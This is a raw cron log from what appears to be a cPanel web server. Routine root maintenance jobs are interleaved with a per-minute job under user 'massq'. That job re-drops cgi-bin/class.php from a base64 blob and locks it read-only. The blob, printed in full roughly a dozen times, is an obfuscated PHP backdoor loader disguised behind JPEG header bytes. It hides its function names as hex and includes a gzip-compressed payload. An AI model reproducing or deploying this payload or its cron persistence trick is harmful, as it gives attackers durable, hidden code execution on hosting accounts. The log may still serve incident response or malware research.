Sep  7 03:45:01 server CROND[8189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:45:02 server CROND[8191]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:45:02 server CROND[8195]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:45:02 server CROND[8196]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:45:02 server CROND[8197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:45:02 server CROND[8193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:45:02 server CROND[8194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:46:01 server CROND[9077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:46:01 server CROND[9078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:46:01 server CROND[9079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:47:01 server CROND[9471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:47:01 server CROND[9472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:47:01 server CROND[9473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:48:01 server CROND[9870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:48:01 server CROND[9871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:48:01 server CROND[9872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:49:01 server CROND[10375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:49:01 server CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:49:01 server CROND[10385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:50:01 server CROND[10807]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:50:01 server CROND[10808]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:50:01 server CROND[10812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:50:01 server CROND[10813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:50:01 server CROND[10822]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:50:01 server CROND[10825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:50:01 server CROND[10821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:50:01 server CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:50:01 server CROND[10824]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:51:01 server CROND[11666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:51:01 server CROND[11667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:51:01 server CROND[11668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:52:01 server CROND[12067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:52:01 server CROND[12068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:52:01 server CROND[12069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:53:01 server CROND[12742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:53:01 server CROND[12743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:53:01 server CROND[12744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:54:01 server CROND[13118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:54:01 server CROND[13120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:54:01 server CROND[13119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:55:01 server CROND[13648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:55:01 server CROND[13650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:55:01 server CROND[13649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:55:01 server CROND[13652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:55:01 server CROND[13651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:55:01 server CROND[13658]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:55:01 server CROND[13656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:56:01 server CROND[14513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:56:01 server CROND[14514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:56:01 server CROND[14512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:57:01 server CROND[14921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
